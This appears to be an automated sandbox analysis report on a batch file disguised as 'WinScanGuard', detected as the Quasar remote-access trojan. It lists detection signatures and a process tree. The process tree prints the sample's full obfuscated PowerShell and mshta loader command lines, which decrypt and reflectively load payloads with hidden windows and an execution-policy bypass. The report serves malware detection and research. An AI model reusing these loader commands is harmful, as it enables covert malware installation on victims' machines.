Edit tour

Windows Analysis Report
WinScanGuard_v.2.1.bat

Overview

General Information

Sample Name:	WinScanGuard_v.2.1.bat
Analysis ID:	1352643
MD5:	1837a5f032a42228c0854fb83a8d12c8
SHA1:	de434e8479dfbc102ac30428b69199009973d788
SHA256:	13291c07421049ba4d39f521c3ae17923180ac5186d87952709c1fa775e39dd4
Tags:	bat
Infos:

Detection

Quasar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Quasar RAT

Detected unpacking (creates a PE file in dynamic memory)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Yara detected Costura Assembly Loader

Renames powershell.exe to bypass HIPS

Powershell is started from unusual location (likely to bypass HIPS)

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Deletes itself after installation

Found large BAT file

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Powershell connects to network

Found suspicious powershell code related to unpacking or dynamic code loading

Installs a global keyboard hook

Writes to foreign memory regions

Bypasses PowerShell execution policy

Very long command line found

Suspicious powershell command line found

Obfuscated command line found

Modifies the context of a thread in another process (thread injection)

One or more processes crash

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Searches for the Microsoft Outlook file path

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates COM task schedule object (often to register a task for autostart)

Creates files inside the system directory

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Enables debug privileges

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

Allocates memory with a write watch (potentially for evading sandboxes)

Detected TCP or UDP traffic on non-standard ports

Found evasive API chain (may stop execution after accessing registry keys)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6772 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\WinScanGuard_v.2.1.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6800 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WinScanGuard_v.2.1.bat.exe (PID: 7128 cmdline: "WinScanGuard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oLSgt($QHQwZ){ $FhDgh=[System.Security.Cryptography.Aes]::Create(); $FhDgh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FhDgh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FhDgh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ONJSi5FjJzv4AOEMBvugvr4ituUVmgVNRnjeJyrP0WQ='); $FhDgh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CLQNYwl0vsdfD4X+5YKrxQ=='); $SpFlB=$FhDgh.CreateDecryptor(); $return_var=$SpFlB.TransformFinalBlock($QHQwZ, 0, $QHQwZ.Length); $SpFlB.Dispose(); $FhDgh.Dispose(); $return_var;}function rnHmS($QHQwZ){ $WxVgK=New-Object System.IO.MemoryStream(,$QHQwZ); $bpCBe=New-Object System.IO.MemoryStream; $coUVU=New-Object System.IO.Compression.GZipStream($WxVgK, [IO.Compression.CompressionMode]::Decompress); $coUVU.CopyTo($bpCBe); $coUVU.Dispose(); $WxVgK.Dispose(); $bpCBe.Dispose(); $bpCBe.ToArray();}function ZAtIe($QHQwZ,$cjUqy){ $oSPmD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$QHQwZ); $xWTDt=$oSPmD.EntryPoint; $xWTDt.Invoke($null, $cjUqy);}$YlWDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\WinScanGuard_v.2.1.bat').Split([Environment]::NewLine);foreach ($XUIQg in $YlWDR) { if ($XUIQg.StartsWith('SEROXEN')) { $sOgSv=$XUIQg.Substring(7); break; }}$ZErMU=[string[]]$sOgSv.Split('\');$tzgBc=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[0])));$TtDxt=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[1])));ZAtIe $TtDxt (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZAtIe $tzgBc (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN')); MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 4916 cmdline: C:\Windows\System32\dllhost.exe /Processid:{17980c38-011a-4e2a-a8da-a3b9e80db269} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 7132 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{6ee5d1df-df32-414a-8053-43a03a04def5} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

WerFault.exe (PID: 1440 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 144 MD5: C31336C1EFC2CCB44B4326EA793040F2)

dllhost.exe (PID: 1228 cmdline: C:\Windows\System32\dllhost.exe /Processid:{b60ad232-6d40-4822-9220-52a4d3050cb3} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 5252 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{603825cb-58d6-4ab4-99a0-2fdb5cd309d6} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

$sxr-mshta.exe (PID: 344 cmdline: C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

$sxr-cmd.exe (PID: 5820 cmdline: "C:\Windows\$sxr-cmd.exe" /c %$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=% MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

$sxr-powershell.exe (PID: 5088 cmdline: C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqWX04//4DGnhGl+/sl+WZ0=');$iBFKh = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBFKh, 0, $iBFKh.Length);$iBFKh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iBFKh);$sRLEH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPfQRzZslsp7LUVLS08LhQ==');$sRLEH = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sRLEH, 0, $sRLEH.Length);$sRLEH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sRLEH);$sLsEZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bw6rZXASWFOFrL4CLrePaw==');$sLsEZ = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sLsEZ, 0, $sLsEZ.Length);$sLsEZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sLsEZ);$SPFoS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYOQkrgRiSqCZw4PoX3ndQ==');$SPFoS = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($SPFoS, 0, $SPFoS.Length);$SPFoS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($SPFoS);$xCumf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SdFQ7WIJndJ4NA0XksAXZg==');$xCumf = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xCumf, 0, $xCumf.Length);$xCumf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xCumf);$WAkXF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AR4GvTa2A8uikK6+T2nKoQ==');$WAkXF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WAkXF, 0, $WAkXF.Length);$WAkXF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WAkXF);$tSRUF0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('L3o7gT8T96iY71qHMveksg==');$tSRUF0 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF0, 0, $tSRUF0.Length);$tSRUF0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF0);$tSRUF1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8Y/0E3VS02vVNfuFqTGCw==');$tSRUF1 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF1, 0, $tSRUF1.Length);$tSRUF1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF1);$tSRUF2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3ob3sb5+Bgi0uwQxb9HNKg==');$tSRUF2 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF2, 0, $tSRUF2.Length);$tSRUF2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF2);$tSRUF3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E46YnTPfmALJD+Ie1fVvGQ==');$tSRUF3 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF3, 0, $tSRUF3.Length);$tSRUF3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF3);$GhtEl.Dispose();$HJBVM1.Dispose();if (@(get-process -ea silentlycontinue $tSRUF3).count -gt 1) {exit};$BcpNi = [Microsoft.Win32.Registry]::$xCumf.$SPFoS($tSRUF).$sLsEZ($tbgVF);$QCqEG=[string[]]$BcpNi.Split('\');$BPwjg=MiajR(ZXowG([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[1])));DEttm $BPwjg (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RLOOe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[0]);$HJBVM = New-Object System.Security.Cryptography.AesManaged;$HJBVM.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$SHNYR = $HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')();$RLOOe = $SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RLOOe, 0, $RLOOe.Length);$SHNYR.Dispose();$HJBVM.Dispose();$VHZiJ = New-Object System.IO.MemoryStream(, $RLOOe);$MKYCr = New-Object System.IO.MemoryStream;$pphYy = New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::$tSRUF1);$pphYy.$WAkXF($MKYCr);$pphYy.Dispose();$VHZiJ.Dispose();$MKYCr.Dispose();$RLOOe = $MKYCr.ToArray();$jMAvT = $iBFKh | IEX;$mZolj = $jMAvT::$tSRUF2($RLOOe);$lOFyP = $mZolj.EntryPoint;$lOFyP.$tSRUF0($null, (, [string[]] ($mjWsq))) MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 1908 cmdline: C:\Windows\System32\dllhost.exe /Processid:{d814285b-904f-4c3a-8cab-4579f96b72d9} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

dllhost.exe (PID: 1196 cmdline: C:\Windows\SysWOW64\dllhost.exe /Processid:{f835588e-a1ef-4d6b-bc1e-b44ddb22d787} MD5: 6F3C9485F8F97AC04C8E43EF4463A68C)

$sxr-powershell.exe (PID: 7056 cmdline: "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(5088).WaitForExit();[System.Threading.Thread]::Sleep(5000); function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqWX04//4DGnhGl+/sl+WZ0=');$iBFKh = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iBFKh, 0, $iBFKh.Length);$iBFKh = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($iBFKh);$sRLEH = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NPfQRzZslsp7LUVLS08LhQ==');$sRLEH = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sRLEH, 0, $sRLEH.Length);$sRLEH = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sRLEH);$sLsEZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bw6rZXASWFOFrL4CLrePaw==');$sLsEZ = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sLsEZ, 0, $sLsEZ.Length);$sLsEZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sLsEZ);$SPFoS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QYOQkrgRiSqCZw4PoX3ndQ==');$SPFoS = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($SPFoS, 0, $SPFoS.Length);$SPFoS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($SPFoS);$xCumf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SdFQ7WIJndJ4NA0XksAXZg==');$xCumf = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xCumf, 0, $xCumf.Length);$xCumf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xCumf);$WAkXF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AR4GvTa2A8uikK6+T2nKoQ==');$WAkXF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WAkXF, 0, $WAkXF.Length);$WAkXF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WAkXF);$tSRUF0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('L3o7gT8T96iY71qHMveksg==');$tSRUF0 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF0, 0, $tSRUF0.Length);$tSRUF0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF0);$tSRUF1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E8Y/0E3VS02vVNfuFqTGCw==');$tSRUF1 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF1, 0, $tSRUF1.Length);$tSRUF1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF1);$tSRUF2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3ob3sb5+Bgi0uwQxb9HNKg==');$tSRUF2 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF2, 0, $tSRUF2.Length);$tSRUF2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF2);$tSRUF3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('E46YnTPfmALJD+Ie1fVvGQ==');$tSRUF3 = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF3, 0, $tSRUF3.Length);$tSRUF3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF3);$GhtEl.Dispose();$HJBVM1.Dispose();if (@(get-process -ea silentlycontinue $tSRUF3).count -gt 1) {exit};$BcpNi = [Microsoft.Win32.Registry]::$xCumf.$SPFoS($tSRUF).$sLsEZ($tbgVF);$QCqEG=[string[]]$BcpNi.Split('\');$BPwjg=MiajR(ZXowG([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[1])));DEttm $BPwjg (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$RLOOe = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($QCqEG[0]);$HJBVM = New-Object System.Security.Cryptography.AesManaged;$HJBVM.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$SHNYR = $HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')();$RLOOe = $SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($RLOOe, 0, $RLOOe.Length);$SHNYR.Dispose();$HJBVM.Dispose();$VHZiJ = New-Object System.IO.MemoryStream(, $RLOOe);$MKYCr = New-Object System.IO.MemoryStream;$pphYy = New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::$tSRUF1);$pphYy.$WAkXF($MKYCr);$pphYy.Dispose();$VHZiJ.Dispose();$MKYCr.Dispose();$RLOOe = $MKYCr.ToArray();$jMAvT = $iBFKh | IEX;$mZolj = $jMAvT::$tSRUF2($RLOOe);$lOFyP = $mZolj.EntryPoint;$lOFyP.$tSRUF0($null, (, [string[]] ($mjWsq))) MD5: 04029E121A0CFA5991749937DD22A1D9)

dllhost.exe (PID: 5800 cmdline: C:\Windows\System32\dllhost.exe /Processid:{ee0091e4-9e0c-4ff3-b26f-57d4a238bd7c} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

winlogon.exe (PID: 552 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

dllhost.exe (PID: 2740 cmdline: C:\Windows\System32\dllhost.exe /Processid:{f78b27af-93da-4459-95e7-4c5d26a44dc8} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 364 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dllhost.exe (PID: 6720 cmdline: C:\Windows\System32\dllhost.exe /Processid:{85d85a52-fed6-47b1-b615-c3a69ff1ad14} MD5: 08EB78E5BE019DF044C26B14703BD1FA)

svchost.exe (PID: 356 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 696 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

